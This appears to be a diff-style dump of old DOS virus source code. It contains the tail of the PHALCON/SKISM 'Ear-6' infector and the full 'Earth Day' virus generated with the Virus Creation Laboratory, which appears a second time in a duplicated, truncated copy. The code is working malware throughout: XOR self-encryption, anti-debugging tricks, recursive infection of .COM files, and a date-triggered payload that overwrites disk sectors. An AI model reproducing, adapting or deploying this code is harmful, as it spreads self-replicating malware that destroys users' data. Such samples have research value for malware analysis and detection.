rep movsb
|
||||
mov ax, 0c35bh ; pop bx, retn
|
||||
stosw
|
||||
|
||||
pop ax
|
||||
|
||||
; Codo del comienzo de la cifra
|
||||
add ax, offset EmpezarCifra + longitud_del_virus
|
||||
mov word ptr [bp+remendar1+1], ax
|
||||
|
||||
call antes_del_tempstore
|
||||
|
||||
mov ax, 5701h ; BX = mango de la ficha
|
||||
mov dx, word ptr [bp+f_fecha]
|
||||
mov cx, word ptr [bp+f_hora]
|
||||
int 21h ; Restaura fecha y hora
|
||||
|
||||
mov ah, 3eh
|
||||
int 21h
|
||||
|
||||
xor ch, ch
|
||||
mov cl, byte ptr [bp+f_atrib]
|
||||
mov ax, 4301h
|
||||
lea dx, [bp+offset nuevoDTA + 30] ; Busca un ficha en el DTA
|
||||
int 21h
|
||||
|
||||
inc byte ptr [bp+numinf]
|
||||
|
||||
jmp BuscaMas
|
||||
|
||||
Primer3 db 0CDh, 20h, 0
|
||||
puntos db '..',0
|
||||
mascara1 db '*.EXE',0
|
||||
mascara2 db '*.COM',0
|
||||
|
||||
abrir: mov ah, 3dh ; Abrir un ficha
|
||||
lea dx, [bp+nuevoDTA+30] ; Nombre de la ficha es en
|
||||
int 21h ; el DTA
|
||||
xchg ax, bx
|
||||
ret
|
||||
|
||||
indice dw offset oreja1, offset oreja2, offset oreja3, offset oreja4
|
||||
dw offset oreja5, offset oreja6, offset oreja4, offset oreja1
|
||||
oreja1 db '1','Auditory Canal$'
|
||||
oreja2 db '1','Lobe$'
|
||||
oreja3 db '2','Anvil$'
|
||||
oreja4 db '2','Eustachian Tube$'
|
||||
oreja5 db '3','Auditory Nerve$'
|
||||
oreja6 db '3','Cochlea$'
|
||||
|
||||
mensaje db 'PHALCON/SKISM 1992 [Ear-6] Alert!',13,10,'Where is the $'
|
||||
secciones db ' located?',13,10
|
||||
db ' 1. External Ear',13,10
|
||||
db ' 2. Middle Ear',13,10
|
||||
db ' 3. Inner Ear',13,10,'( )',8,8,'$'
|
||||
|
||||
; No es bueno.
|
||||
suspendido db 13,10,'You obviously know nothing about ears.'
|
||||
db 13,10,'Try again after some study.',13,10,'$'
|
||||
|
||||
; Espero que s¡!
|
||||
aprueba db 13,10,'Wow, you know your ears! Please resume work.',13,10
|
||||
db '$'
|
||||
|
||||
escribir:
|
||||
mov ah, 40h
|
||||
mov cx, TerminaVir - EmpezarVir
|
||||
lea dx, [bp+EmpezarVir]
|
||||
int 21h
|
||||
termina_escribir:
|
||||
|
||||
backslash db '\'
|
||||
|
||||
TerminaVir = $
|
||||
|
||||
; Los que sigue son en el mont¢n...
|
||||
longitud_de_la_cifra = offset EmpezarCifra - offset shwing
|
||||
|
||||
diroriginal db 64 dup (?)
|
||||
tempo dw ?
|
||||
nuevoDTA db 43 dup (?)
|
||||
numinf db ?
|
||||
antes_del_tempstore:
|
||||
; tempstore es el buffer para el parte del programa que a¤ada el virus al fin
|
||||
; de otro programa
|
||||
; a¤ada cinco para los pop,
|
||||
; los push, y el retn
|
||||
buffer db 1ah dup (?)
|
||||
f_atrib db ? ; atributo de la ficha
|
||||
f_hora dw ? ; hora de creaci¢n
|
||||
f_fecha dw ? ; fecha de creaci¢n
|
||||
f_long dd ? ; magnitud de la ficha
|
||||
|
||||
end Empezar
|
||||
@@ -0,0 +1,422 @@
|
||||
; EARTHDAY.ASM -- Earth Day Virus
|
||||
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
||||
; Written by Nowhere Man
|
||||
|
||||
virus_type equ 0 ; Appending Virus
|
||||
is_encrypted equ 1 ; We're encrypted
|
||||
tsr_virus equ 0 ; We're not TSR
|
||||
|
||||
code segment byte public
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
org 0100h
|
||||
|
||||
main proc near
|
||||
db 0E9h,00h,00h ; Near jump (for compatibility)
|
||||
start: call find_offset ; Like a PUSH IP
|
||||
find_offset: pop bp ; BP holds old IP
|
||||
sub bp,offset find_offset ; Adjust for length of host
|
||||
|
||||
call encrypt_decrypt ; Decrypt the virus
|
||||
|
||||
start_of_code label near
|
||||
|
||||
lea si,[bp + buffer] ; SI points to original start
|
||||
mov di,0100h ; Push 0100h on to stack for
|
||||
push di ; return to main program
|
||||
movsw ; Copy the first two bytes
|
||||
movsb ; Copy the third byte
|
||||
|
||||
mov di,bp ; DI points to start of virus
|
||||
|
||||
mov bp,sp ; BP points to stack
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address on stack
|
||||
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer on stack
|
||||
int 021h
|
||||
|
||||
stop_tracing: mov cx,09EBh
|
||||
mov ax,0FE05h ; Acutal move, plus a HaLT
|
||||
jmp $-2
|
||||
add ah,03Bh ; AH now equals 025h
|
||||
jmp $-10 ; Execute the HaLT
|
||||
lea bx,[di + null_vector] ; BX points to new routine
|
||||
push cs ; Transfer CS into ES
|
||||
pop es ; using a PUSH/POP
|
||||
int 021h
|
||||
mov al,1 ; Disable interrupt 1, too
|
||||
int 021h
|
||||
jmp short skip_null ; Hop over the loop
|
||||
null_vector: jmp $ ; An infinite loop
|
||||
skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged
|
||||
lock_keys: mov al,128 ; Change here screws DEBUG
|
||||
out 021h,al ; If tracing then lock keyboard
|
||||
|
||||
call get_month
|
||||
cmp ax,0004h ; Did the function return 4?
|
||||
jne skip00 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0016h ; Did the function return 22?
|
||||
jne skip00 ; If not equal, skip effect
|
||||
call get_year
|
||||
cmp ax,07C9h ; Did the function return 1993?
|
||||
jle skip00 ; If less that or equal, skip effect
|
||||
cmp ax,07CCh ; Did the function return 1996?
|
||||
jge skip00 ; If greater than or equal, skip effect
|
||||
jmp short strt00 ; Success -- skip jump
|
||||
skip00: jmp end00 ; Skip the routine
|
||||
strt00: lea si,[di + data00] ; SI points to data
|
||||
mov ah,0Eh ; BIOS display char. function
|
||||
display_loop: lodsb ; Load the next char. into AL
|
||||
or al,al ; Is the character a null?
|
||||
je disp_strnend ; If it is, exit
|
||||
int 010h ; BIOS video interrupt
|
||||
jmp short display_loop ; Do the next character
|
||||
disp_strnend:
|
||||
|
||||
mov ax,0002h ; First argument is 2
|
||||
mov cx,0100h ; Second argument is 256
|
||||
cli ; Disable interrupts (no Ctrl-C)
|
||||
cwd ; Clear DX (start with sector 0)
|
||||
int 026h ; DOS absolute write interrupt
|
||||
sti ; Restore interrupts
|
||||
|
||||
end00: xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
xchg dx,ax ; AX holds clock ticks
|
||||
mov cx,0005h ; We'll divide by 5
|
||||
cwd ; Sign-extend AX into DX:AX
|
||||
div cx ; Divide AX by CX
|
||||
or dx,dx ; Is there a remaindier?
|
||||
jne no_infection ; If there is then don't spread
|
||||
call search_files ; Find and infect a file
|
||||
no_infection:
|
||||
|
||||
com_end: pop dx ; DX holds original DTA address
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
int 021h
|
||||
|
||||
mov sp,bp ; Deallocate local buffer
|
||||
|
||||
xor ax,ax ;
|
||||
mov bx,ax ;
|
||||
mov cx,ax ;
|
||||
mov dx,ax ; Empty out the registers
|
||||
mov si,ax ;
|
||||
mov di,ax ;
|
||||
mov bp,ax ;
|
||||
|
||||
ret ; Return to original program
|
||||
main endp
|
||||
|
||||
|
||||
db 009h,0C0h,0EEh,0D9h,0ECh
|
||||
|
||||
search_files proc near
|
||||
push bp ; Save BP
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,64 ; Allocate 64 bytes on stack
|
||||
|
||||
mov ah,047h ; DOS get current dir function
|
||||
xor dl,dl ; DL holds drive # (current)
|
||||
lea si,[bp - 64] ; SI points to 64-byte buffer
|
||||
int 021h
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[di + root] ; DX points to root directory
|
||||
int 021h
|
||||
|
||||
call traverse ; Start the traversal
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 64] ; DX points to old directory
|
||||
int 021h
|
||||
|
||||
mov sp,bp ; Restore old stack pointer
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
root db "\",0 ; Root directory
|
||||
search_files endp
|
||||
|
||||
traverse proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first function
|
||||
mov cx,00010000b ; CX holds search attributes
|
||||
lea dx,[di + all_files] ; DX points to "*.*"
|
||||
int 021h
|
||||
jc leave_traverse ; Leave if no files present
|
||||
|
||||
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
|
||||
jne another_dir ; If not, try again
|
||||
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
|
||||
je another_dir ;If so, keep going
|
||||
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 98] ; DX points to new directory
|
||||
int 021h
|
||||
|
||||
call traverse ; Recursively call ourself
|
||||
|
||||
pushf ; Save the flags
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[di + up_dir] ; DX points to parent directory
|
||||
int 021h
|
||||
popf ; Restore the flags
|
||||
|
||||
jnc done_searching ; If we infected then exit
|
||||
|
||||
another_dir: mov ah,04Fh ; DOS find next function
|
||||
int 021h
|
||||
jnc check_dir ; If found check the file
|
||||
|
||||
leave_traverse:
|
||||
lea dx,[di + com_mask] ; DX points to "*.COM"
|
||||
call find_files ; Try to infect a file
|
||||
done_searching: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
up_dir db "..",0 ; Parent directory name
|
||||
all_files db "*.*",0 ; Directories to search for
|
||||
com_mask db "*.COM",0 ; Mask for all .COM files
|
||||
traverse endp
|
||||
|
||||
db 0E0h,049h,06Ch,01Bh,06Ch
|
||||
|
||||
|
||||
find_files proc near
|
||||
push bp ; Save BP
|
||||
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
|
||||
push dx ; Save file mask
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds all file attributes
|
||||
pop dx ; Restore file mask
|
||||
find_a_file: int 021h
|
||||
jc done_finding ; Exit if no files found
|
||||
call infect_file ; Infect the file!
|
||||
jnc done_finding ; Exit if no error
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
jmp short find_a_file ; Try finding another file
|
||||
|
||||
done_finding: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
find_files endp
|
||||
|
||||
db 00Ah,073h,01Fh,038h,054h
|
||||
|
||||
infect_file proc near
|
||||
mov ah,02Fh ; DOS get DTA address function
|
||||
int 021h
|
||||
mov si,bx ; SI points to the DTA
|
||||
|
||||
mov byte ptr [di + set_carry],0 ; Assume we'll fail
|
||||
|
||||
cmp word ptr [si + 01Ah],(65279 - (finish - start))
|
||||
jbe size_ok ; If it's small enough continue
|
||||
jmp infection_done ; Otherwise exit
|
||||
|
||||
size_ok: mov ax,03D00h ; DOS open file function, r/o
|
||||
lea dx,[si + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,03Fh ; DOS read from file function
|
||||
mov cx,3 ; CX holds bytes to read (3)
|
||||
lea dx,[di + buffer] ; DX points to buffer
|
||||
int 021h
|
||||
|
||||
mov ax,04202h ; DOS file seek function, EOF
|
||||
cwd ; Zero DX _ Zero bytes from end
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
|
||||
xchg dx,ax ; Faster than a PUSH AX
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
xchg dx,ax ; Faster than a POP AX
|
||||
|
||||
sub ax,finish - start + 3 ; Adjust AX for a valid jump
|
||||
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
|
||||
je infection_done ; If equal then exit
|
||||
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
|
||||
add ax,finish - start ; Re-adjust to make the jump
|
||||
mov word ptr [di + new_jump + 1],ax ; Construct jump
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor cx,cx ; Clear all attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
mov ax,03D02h ; DOS open file function, r/w
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cx,3 ; CX holds bytes to write (3)
|
||||
lea dx,[di + new_jump] ; DX points to the jump we made
|
||||
int 021h
|
||||
|
||||
mov ax,04202h ; DOS file seek function, EOF
|
||||
cwd ; Zero DX _ Zero bytes from end
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
|
||||
push si ; Save SI through call
|
||||
call encrypt_code ; Write an encrypted copy
|
||||
pop si ; Restore SI
|
||||
|
||||
mov ax,05701h ; DOS set file time function
|
||||
mov cx,[si + 016h] ; CX holds old file time
|
||||
mov dx,[si + 018h] ; DX holds old file date
|
||||
int 021h
|
||||
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor ch,ch ; Clear CH for file attribute
|
||||
mov cl,[si + 015h] ; CX holds file's old attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
|
||||
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
|
||||
ret ; Return to caller
|
||||
|
||||
set_carry db ? ; Set-carry-on-exit flag
|
||||
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
|
||||
new_jump db 0E9h,?,? ; New jump to virus
|
||||
infect_file endp
|
||||
|
||||
|
||||
db 0D9h,095h,0B5h,0D7h,0D0h
|
||||
|
||||
get_day proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dl ; Copy day into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_day endp
|
||||
|
||||
db 0F6h,028h,099h,0E1h,06Dh
|
||||
|
||||
get_month proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dh ; Copy month into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_month endp
|
||||
|
||||
db 071h,021h,0B4h,033h,071h
|
||||
|
||||
get_year proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
xchg cx,ax ; Transfer the year into AX
|
||||
ret ; Return to caller
|
||||
get_year endp
|
||||
|
||||
data00 db "Happy Earth Day!!!",13,10,13,10
|
||||
db "In the spirit of Earth Day, this VIRUS has recycled your hard disk.",13,10,0
|
||||
|
||||
vcl_marker db "[VCL]",0 ; VCL creation marker
|
||||
|
||||
|
||||
note db "[Earth Day]",0
|
||||
db "Nowhere Man, [NuKE] '92",0
|
||||
|
||||
encrypt_code proc near
|
||||
push bp ; Save BP
|
||||
mov bp,di ; Use BP as pointer to code
|
||||
lea si,[bp + encrypt_decrypt]; SI points to cipher routine
|
||||
|
||||
xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
mov word ptr [si + 9],dx ; Low word of timer is new key
|
||||
|
||||
xor byte ptr [si + 1],8 ;
|
||||
xor byte ptr [si + 8],1 ; Change all SIs to DIs
|
||||
xor word ptr [si + 11],0101h; (and vice-versa)
|
||||
|
||||
lea di,[bp + finish] ; Copy routine into heap
|
||||
mov cx,finish - encrypt_decrypt - 1 ; All but final RET
|
||||
push si ; Save SI for later
|
||||
push cx ; Save CX for later
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
lea si,[bp + write_stuff] ; SI points to write stuff
|
||||
mov cx,5 ; CX holds length of write
|
||||
rep movsb ; Copy the bytes
|
||||
|
||||
pop cx ; Restore CX
|
||||
pop si ; Restore SI
|
||||
inc cx ; Copy the RET also this time
|
||||
rep movsb ; Copy the routine again
|
||||
|
||||
mov ah,040h ; DOS write to file function
|
||||
lea dx,[bp + start] ; DX points to virus
|
||||
|
||||
lea si,[bp + finish] ; SI points to routine
|
||||
call si ; Encrypt/write/decrypt
|
||||
|
||||
mov di,bp ; DI points to virus again
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
|
||||
write_stuff: mov cx,finish - start ; Length of code
|
||||
int 021h
|
||||
encrypt_code endp
|
||||
|
||||
end_of_code label near
|
||||
|
||||
encrypt_decrypt proc near
|
||||
lea si,[bp + start_of_code] ; SI points to code to decrypt
|
||||
mov cx,(end_of_code - start_of_code) / 2 ; CX holds length
|
||||
xor_loop: db 081h,034h,00h,00h ; XOR a word by the key
|
||||
inc si ; Do the next word
|
||||
inc si ;
|
||||
loop xor_loop ; Loop until we're through
|
||||
ret ; Return to caller
|
||||
encrypt_decrypt endp
|
||||
finish label near
|
||||
|
||||
code ends
|
||||
end main
|
||||
@@ -0,0 +1,330 @@
|
||||
; EARTHDAY.ASM -- Earth Day Virus
|
||||
; Created with Nowhere Man's Virus Creation Laboratory v1.00
|
||||
; Written by Nowhere Man
|
||||
virus_type equ 0 ; Appending Virus
|
||||
is_encrypted equ 1 ; We're encrypted
|
||||
tsr_virus equ 0 ; We're not TSR
|
||||
code segment byte public
|
||||
assume cs:code,ds:code,es:code,ss:code
|
||||
org 0100h
|
||||
main proc near
|
||||
db 0E9h,00h,00h ; Near jump (for compatibility)
|
||||
start: call find_offset ; Like a PUSH IP
|
||||
find_offset: pop bp ; BP holds old IP
|
||||
sub bp,offset find_offset ; Adjust for length of host
|
||||
call encrypt_decrypt ; Decrypt the virus
|
||||
start_of_code label near
|
||||
lea si,[bp + buffer] ; SI points to original start
|
||||
mov di,0100h ; Push 0100h on to stack for
|
||||
push di ; return to main program
|
||||
movsw ; Copy the first two bytes
|
||||
movsb ; Copy the third byte
|
||||
mov di,bp ; DI points to start of virus
|
||||
mov bp,sp ; BP points to stack
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address on stack
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer on stack
|
||||
int 021h
|
||||
stop_tracing: mov cx,09EBh
|
||||
mov ax,0FE05h ; Acutal move, plus a HaLT
|
||||
jmp $-2
|
||||
add ah,03Bh ; AH now equals 025h
|
||||
jmp $-10 ; Execute the HaLT
|
||||
lea bx,[di + null_vector] ; BX points to new routine
|
||||
push cs ; Transfer CS into ES
|
||||
pop es ; using a PUSH/POP
|
||||
int 021h
|
||||
mov al,1 ; Disable interrupt 1, too
|
||||
int 021h
|
||||
jmp short skip_null ; Hop over the loop
|
||||
null_vector: jmp $ ; An infinite loop
|
||||
skip_null: mov byte ptr [di + lock_keys + 1],130 ; Prefetch unchanged
|
||||
lock_keys: mov al,128 ; Change here screws DEBUG
|
||||
out 021h,al ; If tracing then lock keyboard
|
||||
call get_month
|
||||
cmp ax,0004h ; Did the function return 4?
|
||||
jne skip00 ; If not equal, skip effect
|
||||
call get_day
|
||||
cmp ax,0016h ; Did the function return 22?
|
||||
jne skip00 ; If not equal, skip effect
|
||||
call get_year
|
||||
cmp ax,07C9h ; Did the function return 1993?
|
||||
jle skip00 ; If less that or equal, skip effect
|
||||
cmp ax,07CCh ; Did the function return 1996?
|
||||
jge skip00 ; If greater than or equal, skip effect
|
||||
jmp short strt00 ; Success -- skip jump
|
||||
skip00: jmp end00 ; Skip the routine
|
||||
strt00: lea si,[di + data00] ; SI points to data
|
||||
mov ah,0Eh ; BIOS display char. function
|
||||
display_loop: lodsb ; Load the next char. into AL
|
||||
or al,al ; Is the character a null?
|
||||
je disp_strnend ; If it is, exit
|
||||
int 010h ; BIOS video interrupt
|
||||
jmp short display_loop ; Do the next character
|
||||
disp_strnend:
|
||||
mov ax,0002h ; First argument is 2
|
||||
mov cx,0100h ; Second argument is 256
|
||||
cli ; Disable interrupts (no Ctrl-C)
|
||||
cwd ; Clear DX (start with sector 0)
|
||||
int 026h ; DOS absolute write interrupt
|
||||
sti ; Restore interrupts
|
||||
end00: xor ah,ah ; BIOS get time function
|
||||
int 01Ah
|
||||
xchg dx,ax ; AX holds clock ticks
|
||||
mov cx,0005h ; We'll divide by 5
|
||||
cwd ; Sign-extend AX into DX:AX
|
||||
div cx ; Divide AX by CX
|
||||
or dx,dx ; Is there a remaindier?
|
||||
jne no_infection ; If there is then don't spread
|
||||
call search_files ; Find and infect a file
|
||||
no_infection:
|
||||
com_end: pop dx ; DX holds original DTA address
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
int 021h
|
||||
mov sp,bp ; Deallocate local buffer
|
||||
xor ax,ax ;
|
||||
mov bx,ax ;
|
||||
mov cx,ax ;
|
||||
mov dx,ax ; Empty out the registers
|
||||
mov si,ax ;
|
||||
mov di,ax ;
|
||||
mov bp,ax ;
|
||||
ret ; Return to original program
|
||||
main endp
|
||||
db 009h,0C0h,0EEh,0D9h,0ECh
|
||||
search_files proc near
|
||||
push bp ; Save BP
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,64 ; Allocate 64 bytes on stack
|
||||
mov ah,047h ; DOS get current dir function
|
||||
xor dl,dl ; DL holds drive # (current)
|
||||
lea si,[bp - 64] ; SI points to 64-byte buffer
|
||||
int 021h
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[di + root] ; DX points to root directory
|
||||
int 021h
|
||||
call traverse ; Start the traversal
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 64] ; DX points to old directory
|
||||
int 021h
|
||||
mov sp,bp ; Restore old stack pointer
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
root db "\",0 ; Root directory
|
||||
search_files endp
|
||||
traverse proc near
|
||||
push bp ; Save BP
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
mov ah,04Eh ; DOS find first function
|
||||
mov cx,00010000b ; CX holds search attributes
|
||||
lea dx,[di + all_files] ; DX points to "*.*"
|
||||
int 021h
|
||||
jc leave_traverse ; Leave if no files present
|
||||
check_dir: cmp byte ptr [bp - 107],16 ; Is the file a directory?
|
||||
jne another_dir ; If not, try again
|
||||
cmp byte ptr [bp - 98],'.' ; Did we get a "." or ".."?
|
||||
je another_dir ;If so, keep going
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[bp - 98] ; DX points to new directory
|
||||
int 021h
|
||||
call traverse ; Recursively call ourself
|
||||
pushf ; Save the flags
|
||||
mov ah,03Bh ; DOS change directory function
|
||||
lea dx,[di + up_dir] ; DX points to parent directory
|
||||
int 021h
|
||||
popf ; Restore the flags
|
||||
jnc done_searching ; If we infected then exit
|
||||
another_dir: mov ah,04Fh ; DOS find next function
|
||||
int 021h
|
||||
jnc check_dir ; If found check the file
|
||||
leave_traverse:
|
||||
lea dx,[di + com_mask] ; DX points to "*.COM"
|
||||
call find_files ; Try to infect a file
|
||||
done_searching: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
up_dir db "..",0 ; Parent directory name
|
||||
all_files db "*.*",0 ; Directories to search for
|
||||
com_mask db "*.COM",0 ; Mask for all .COM files
|
||||
traverse endp
|
||||
db 0E0h,049h,06Ch,01Bh,06Ch
|
||||
find_files proc near
|
||||
push bp ; Save BP
|
||||
mov ah,02Fh ; DOS get DTA function
|
||||
int 021h
|
||||
push bx ; Save old DTA address
|
||||
mov bp,sp ; BP points to local buffer
|
||||
sub sp,128 ; Allocate 128 bytes on stack
|
||||
push dx ; Save file mask
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
lea dx,[bp - 128] ; DX points to buffer
|
||||
int 021h
|
||||
mov ah,04Eh ; DOS find first file function
|
||||
mov cx,00100111b ; CX holds all file attributes
|
||||
pop dx ; Restore file mask
|
||||
find_a_file: int 021h
|
||||
jc done_finding ; Exit if no files found
|
||||
call infect_file ; Infect the file!
|
||||
jnc done_finding ; Exit if no error
|
||||
mov ah,04Fh ; DOS find next file function
|
||||
jmp short find_a_file ; Try finding another file
|
||||
done_finding: mov sp,bp ; Restore old stack frame
|
||||
mov ah,01Ah ; DOS set DTA function
|
||||
pop dx ; Retrieve old DTA address
|
||||
int 021h
|
||||
pop bp ; Restore BP
|
||||
ret ; Return to caller
|
||||
find_files endp
|
||||
db 00Ah,073h,01Fh,038h,054h
|
||||
infect_file proc near
|
||||
mov ah,02Fh ; DOS get DTA address function
|
||||
int 021h
|
||||
mov si,bx ; SI points to the DTA
|
||||
mov byte ptr [di + set_carry],0 ; Assume we'll fail
|
||||
cmp word ptr [si + 01Ah],(65279 - (finish - start))
|
||||
jbe size_ok ; If it's small enough continue
|
||||
jmp infection_done ; Otherwise exit
|
||||
size_ok: mov ax,03D00h ; DOS open file function, r/o
|
||||
lea dx,[si + 01Eh] ; DX points to file name
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
mov ah,03Fh ; DOS read from file function
|
||||
mov cx,3 ; CX holds bytes to read (3)
|
||||
lea dx,[di + buffer] ; DX points to buffer
|
||||
int 021h
|
||||
mov ax,04202h ; DOS file seek function, EOF
|
||||
cwd ; Zero DX _ Zero bytes from end
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
xchg dx,ax ; Faster than a PUSH AX
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
xchg dx,ax ; Faster than a POP AX
|
||||
sub ax,finish - start + 3 ; Adjust AX for a valid jump
|
||||
cmp word ptr [di + buffer + 1],ax ; Is there a JMP yet?
|
||||
je infection_done ; If equal then exit
|
||||
mov byte ptr [di + set_carry],1 ; Success -- the file is OK
|
||||
add ax,finish - start ; Re-adjust to make the jump
|
||||
mov word ptr [di + new_jump + 1],ax ; Construct jump
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor cx,cx ; Clear all attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
mov ax,03D02h ; DOS open file function, r/w
|
||||
int 021h
|
||||
xchg bx,ax ; BX holds file handle
|
||||
mov ah,040h ; DOS write to file function
|
||||
mov cx,3 ; CX holds bytes to write (3)
|
||||
lea dx,[di + new_jump] ; DX points to the jump we made
|
||||
int 021h
|
||||
mov ax,04202h ; DOS file seek function, EOF
|
||||
cwd ; Zero DX _ Zero bytes from end
|
||||
mov cx,dx ; Zero CX /
|
||||
int 021h
|
||||
push si ; Save SI through call
|
||||
call encrypt_code ; Write an encrypted copy
|
||||
pop si ; Restore SI
|
||||
mov ax,05701h ; DOS set file time function
|
||||
mov cx,[si + 016h] ; CX holds old file time
|
||||
mov dx,[si + 018h] ; DX holds old file date
|
||||
int 021h
|
||||
mov ah,03Eh ; DOS close file function
|
||||
int 021h
|
||||
mov ax,04301h ; DOS set file attrib. function
|
||||
xor ch,ch ; Clear CH for file attribute
|
||||
mov cl,[si + 015h] ; CX holds file's old attributes
|
||||
lea dx,[si + 01Eh] ; DX points to victim's name
|
||||
int 021h
|
||||
infection_done: cmp byte ptr [di + set_carry],1 ; Set carry flag if failed
|
||||
ret ; Return to caller
|
||||
set_carry db ? ; Set-carry-on-exit flag
|
||||
buffer db 090h,0CDh,020h ; Buffer to hold old three bytes
|
||||
new_jump db 0E9h,?,? ; New jump to virus
|
||||
infect_file endp
|
||||
db 0D9h,095h,0B5h,0D7h,0D0h
|
||||
get_day proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dl ; Copy day into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_day endp
|
||||
db 0F6h,028h,099h,0E1h,06Dh
|
||||
get_month proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
mov al,dh ; Copy month into AL
|
||||
cbw ; Sign-extend AL into AX
|
||||
ret ; Return to caller
|
||||
get_month endp
|
||||
db 071h,021h,0B4h,033h,071h
|
||||
get_year proc near
|
||||
mov ah,02Ah ; DOS get date function
|
||||
int 021h
|
||||
xchg cx,ax ; Transfer the year into AX
|
||||
ret ; Return to caller
|
||||
get_year endp
|
||||
